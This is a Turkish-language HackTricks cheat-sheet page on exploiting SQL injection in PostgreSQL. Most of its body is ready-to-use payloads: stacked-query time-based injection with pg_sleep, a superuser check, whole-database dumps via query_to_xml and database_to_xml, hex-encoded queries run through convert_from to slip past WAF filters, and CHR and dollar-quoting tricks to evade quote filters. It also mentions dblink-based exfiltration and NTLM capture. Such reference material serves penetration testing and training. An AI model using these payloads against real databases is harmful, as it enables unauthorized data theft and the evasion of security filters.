PostgreSQL injection
Reading time: 3 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Bu sayfa, bir PostgreSQL veritabanında bulunan bir SQL enjeksiyonunu istismar etmenize yardımcı olabilecek farklı hileleri açıklamayı ve https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md bulabileceğiniz hileleri tamamlamayı amaçlamaktadır.
Ağ Etkileşimi - Yetki Yükseltme, Port Tarayıcı, NTLM zorluk yanıtı ifşası ve Exfiltrasyon
PostgreSQL modülü dblink
, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları gerçekleştirme yetenekleri sunar. Bu özellikler, COPY FROM
işlevselliği ile birleştirildiğinde, yetki yükseltme, port tarama ve NTLM zorluk yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirmek için detaylı yöntemler için bu saldırıları nasıl gerçekleştireceğinizi kontrol edin.
Dblink ve büyük nesneler kullanarak exfiltrasyon örneği
Bir CTF örneği olarak büyük nesnelerin içine veri yükleme ve ardından dblink_connect
fonksiyonunun kullanıcı adı içindeki büyük nesnelerin içeriğini exfiltrate etme yöntemini görmek için bu örneği okuyabilirsiniz.
PostgreSQL Saldırıları: Okuma/yazma, RCE, yetki yükseltme
PostgreSQL'den ana makineyi nasıl tehlikeye atacağınızı ve yetkileri nasıl yükselteceğinizi kontrol edin:
5432,5433 - Pentesting Postgresql
WAF atlatma
PostgreSQL Dize işlevleri
Dizeleri manipüle etmek, WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir.
Bu sayfada bazı yararlı Dize işlevlerini bulabilirsiniz.
Yığın Sorgular
PostgreSQL'in yığın sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 yanıt beklerken 2 yanıt döndüğünde bir hata verecektir. Ancak, yine de zaman enjeksiyonu yoluyla yığın sorguları kötüye kullanabilirsiniz:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML hileleri
query_to_xml
Bu fonksiyon, tüm verileri yalnızca bir dosya halinde XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Bu fonksiyon, tüm veritabanını yalnızca 1 satırda XML formatında dökecektir (veritabanı çok büyükse dikkatli olun, çünkü bu durum DoS saldırısına veya hatta kendi istemcinize neden olabilir):
SELECT database_to_xml(true,true,'');
Hex'teki Dize
Eğer sorguları bir dize içinde çalıştırabiliyorsanız (örneğin query_to_xml
fonksiyonunu kullanarak). Dizeyi hex olarak geçmek ve bu şekilde filtreleri atlatmak için convert_from kullanabilirsiniz:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Yasaklı alıntılar
Eğer yükleminiz için alıntı kullanamıyorsanız, bunu CHR
ile aşabilirsiniz (karakter birleştirme yalnızca SELECT, INSERT, DELETE gibi temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ya da $
ile. Bu sorgular aynı sonuçları döndürür:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.